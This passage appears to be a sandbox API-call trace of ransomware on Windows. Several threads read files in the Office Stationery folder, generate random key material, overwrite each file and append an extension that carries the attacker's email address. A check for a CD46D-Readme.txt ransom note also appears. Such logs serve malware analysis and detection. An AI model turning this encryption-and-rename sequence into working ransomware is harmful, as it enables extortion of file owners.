Size=0x25) returned 0x97ce960 [0055.971] SetFilePointerEx (in: hFile=0xfa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.972] WriteFile (in: hFile=0xfa4, lpBuffer=0x44e768*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x138afcdc, lpOverlapped=0x0 | out: lpBuffer=0x44e768*, lpNumberOfBytesWritten=0x138afcdc*=0x109, lpOverlapped=0x0) returned 1 [0062.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e768) returned 1 [0063.272] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce990) returned 1 [0063.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441730) returned 1 [0063.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce960) returned 1 [0063.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441708) returned 1 [0063.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460440) returned 1 [0063.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460210) returned 1 [0063.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604b8) returned 1 [0063.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00610 [0063.273] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" [0063.273] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0063.273] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x138afc94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf98b0 [0063.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.274] NtQueryInformationFile (in: FileHandle=0xfa4, IoStatusBlock=0x138afca0, FileInformation=0x138afc78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x138afca0, FileInformation=0x138afc78) returned 0x0 [0063.274] NtSetInformationFile (FileHandle=0xfa4, IoStatusBlock=0x138afca0, FileInformation=0x138afc78, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.275] FlushFileBuffers (hFile=0xfa4) returned 1 [0066.217] CloseHandle (hObject=0xfa4) Thread: id = 787 os_tid = 0x1028 [0051.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm")) returned 0x20 [0051.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM", dwFileAttributes=0x20) returned 1 [0055.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfa8 [0055.134] GetFileSizeEx (in: hFile=0xfa8, lpFileSize=0x1374fcd8 | out: lpFileSize=0x1374fcd8*=507) returned 1 [0055.134] SetFilePointerEx (in: hFile=0xfa8, liDistanceToMove=0x1f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.135] ReadFile (in: hFile=0xfa8, lpBuffer=0x1374fc5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1374fc58, lpOverlapped=0x0 | out: lpBuffer=0x1374fc5c*, lpNumberOfBytesRead=0x1374fc58*=0x4, lpOverlapped=0x0) returned 1 [0055.136] SetFilePointerEx (in: hFile=0xfa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460418 [0055.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460558 [0055.136] NtQuerySystemTime (in: CurrentTime=0x1374fc38 | out: CurrentTime=0x1374fc38*=132174898191228000) returned 0x0 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x3fdd8029 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x475775c6 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x38cc3c2 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x7796c6b3 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x17dcf27f [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x3c410fec [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x436ce123 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x42691ccf [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x60e89443 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x9391739 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x64e1fb4c [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x7fd965d3 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x35395b89 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x54180b2d [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x6a1b14d0 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x603fc43d [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x2c7ea08 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x54b04992 [0055.136] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x29b1713c [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0xb148df [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x6e6e29c4 [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x28e006bf [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x70efa36 [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x1766071d [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x305a3359 [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x2f9aa7b0 [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x3833d6c4 [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x53ed326d [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x5df9bb87 [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x2720355d [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0x4bf38dd5 [0055.137] RtlRandomEx (in: Seed=0x1374fc44 | out: Seed=0x1374fc44) returned 0xf267f7 [0055.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4605d0 [0055.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0055.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606e8 [0055.148] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0055.148] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460558) returned 1 [0055.148] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0055.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0055.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.148] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.149] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5eb80a8 [0055.156] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d09960 [0055.158] ReadFile (in: hFile=0xfa8, lpBuffer=0x5eb80a8, nNumberOfBytesToRead=0x1fb, lpNumberOfBytesRead=0x1374fc34, lpOverlapped=0x0 | out: lpBuffer=0x5eb80a8*, lpNumberOfBytesRead=0x1374fc34*=0x1fb, lpOverlapped=0x0) returned 1 [0055.159] SetFilePointerEx (in: hFile=0xfa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.159] WriteFile (in: hFile=0xfa8, lpBuffer=0x12d09960*, nNumberOfBytesToWrite=0x1fb, lpNumberOfBytesWritten=0x1374fc30, lpOverlapped=0x0 | out: lpBuffer=0x12d09960*, lpNumberOfBytesWritten=0x1374fc30*=0x1fb, lpOverlapped=0x0) returned 1 [0055.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0218 [0055.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d01f0 [0055.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01f0) returned 1 [0055.897] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09960) returned 1 [0055.897] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eb80a8) returned 1 [0055.897] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0055.897] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0055.897] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce900 [0055.897] SetFilePointerEx (in: hFile=0xfa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.897] WriteFile (in: hFile=0xfa8, lpBuffer=0x44cfa8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1374fc98, lpOverlapped=0x0 | out: lpBuffer=0x44cfa8*, lpNumberOfBytesWritten=0x1374fc98*=0x109, lpOverlapped=0x0) returned 1 [0061.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cfa8) returned 1 [0061.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce930) returned 1 [0061.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01f0) returned 1 [0061.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce900) returned 1 [0061.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0218) returned 1 [0061.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460418) returned 1 [0061.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4605d0) returned 1 [0061.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4606e8) returned 1 [0061.550] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00540 [0061.550] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" [0061.550] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0061.550] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1374fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.550] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x44cfa8 [0061.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cfa8) returned 1 [0061.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.551] NtQueryInformationFile (in: FileHandle=0xfa8, IoStatusBlock=0x1374fc5c, FileInformation=0x1374fc34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1374fc5c, FileInformation=0x1374fc34) returned 0x0 [0061.551] NtSetInformationFile (FileHandle=0xfa8, IoStatusBlock=0x1374fc5c, FileInformation=0x1374fc34, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.552] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.552] FlushFileBuffers (hFile=0xfa8) returned 1 [0062.198] CloseHandle (hObject=0xfa8) returned 1 [0062.658] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a708 [0062.658] wcscpy (in: _Dest=0x12e2a708, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0062.659] wcscat (in: _Dest=0x12e2a708, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" [0062.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\cd46d-readme.txt")) returned 0x20 [0062.659] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a708) returned 1 [0062.659] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x448200) returned 1 Thread: id = 788 os_tid = 0x102c [0051.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif")) returned 0x20 [0051.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF", dwFileAttributes=0x20) returned 1 [0055.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfac [0055.161] GetFileSizeEx (in: hFile=0xfac, lpFileSize=0x137afdcc | out: lpFileSize=0x137afdcc*=4039) returned 1 [0055.161] SetFilePointerEx (in: hFile=0xfac, liDistanceToMove=0xfc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.161] ReadFile (in: hFile=0xfac, lpBuffer=0x137afd50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x137afd4c, lpOverlapped=0x0 | out: lpBuffer=0x137afd50*, lpNumberOfBytesRead=0x137afd4c*=0x4, lpOverlapped=0x0) returned 1 [0055.162] SetFilePointerEx (in: hFile=0xfac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460558 [0055.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460508 [0055.162] NtQuerySystemTime (in: CurrentTime=0x137afd2c | out: CurrentTime=0x137afd2c*=132174898191384000) returned 0x0 [0055.162] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x6c821fd1 [0055.162] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x218d415e [0055.162] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x5e66c174 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x1c4887e1 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x69f32f0c [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x707841a7 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x681c545d [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x3e45bee4 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x6d1dddce [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x380e69cf [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x1f58ef0e [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x7ca8680a [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x55f82a6b [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x4ab11348 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x48e0034e [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x56450ced [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x19ccbdc8 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x19780e9a [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x6c2c5594 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x27e84f16 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x3b84336c [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x538a1c48 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x4bbf30c3 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x32cb989a [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x7a0bde13 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x567b14c8 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x74f992f6 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x5ee8ee23 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0xc02d791 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x2a40026d [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x6ffc079 [0055.163] RtlRandomEx (in: Seed=0x137afd38 | out: Seed=0x137afd38) returned 0x5cbd3720 [0055.173] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4605a8 [0055.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437940 [0055.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460670 [0055.175] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0055.175] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460508) returned 1 [0055.175] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bc10 [0055.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437940 [0055.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.175] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d16168 [0055.178] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d22970 [0055.181] ReadFile (in: hFile=0xfac, lpBuffer=0x12d16168, nNumberOfBytesToRead=0xfc7, lpNumberOfBytesRead=0x137afd28, lpOverlapped=0x0 | out: lpBuffer=0x12d16168*, lpNumberOfBytesRead=0x137afd28*=0xfc7, lpOverlapped=0x0) returned 1 [0055.181] SetFilePointerEx (in: hFile=0xfac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.181] WriteFile (in: hFile=0xfac, lpBuffer=0x12d22970*, nNumberOfBytesToWrite=0xfc7, lpNumberOfBytesWritten=0x137afd24, lpOverlapped=0x0 | out: lpBuffer=0x12d22970*, lpNumberOfBytesWritten=0x137afd24*=0xfc7, lpOverlapped=0x0) returned 1 [0055.972] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416e0 [0055.972] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441398 [0055.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441398) returned 1 [0055.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d22970) returned 1 [0055.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d16168) returned 1 [0055.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0055.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0055.972] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ce9c0 [0055.972] SetFilePointerEx (in: hFile=0xfac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.973] WriteFile (in: hFile=0xfac, lpBuffer=0x44e880*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x137afd8c, lpOverlapped=0x0 | out: lpBuffer=0x44e880*, lpNumberOfBytesWritten=0x137afd8c*=0x105, lpOverlapped=0x0) returned 1 [0062.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e880) returned 1 [0063.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce9f0) returned 1 [0063.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441398) returned 1 [0063.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce9c0) returned 1 [0063.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416e0) returned 1 [0063.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460558) returned 1 [0063.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4605a8) returned 1 [0063.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460670) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00610 [0063.262] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" [0063.263] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0063.263] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x137afd44, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d4380 [0063.264] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4380) returned 1 [0063.264] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ac7a8) returned 1 [0063.264] NtQueryInformationFile (in: FileHandle=0xfac, IoStatusBlock=0x137afd50, FileInformation=0x137afd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x137afd50, FileInformation=0x137afd28) returned 0x0 [0063.264] NtSetInformationFile (FileHandle=0xfac, IoStatusBlock=0x137afd50, FileInformation=0x137afd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.265] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.265] FlushFileBuffers (hFile=0xfac) returned 1 [0066.202] CloseHandle (hObject=0xfac) Thread: id = 789 os_tid = 0x1030 [0051.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm")) returned 0x20 [0051.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM", dwFileAttributes=0x20) returned 1 [0055.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 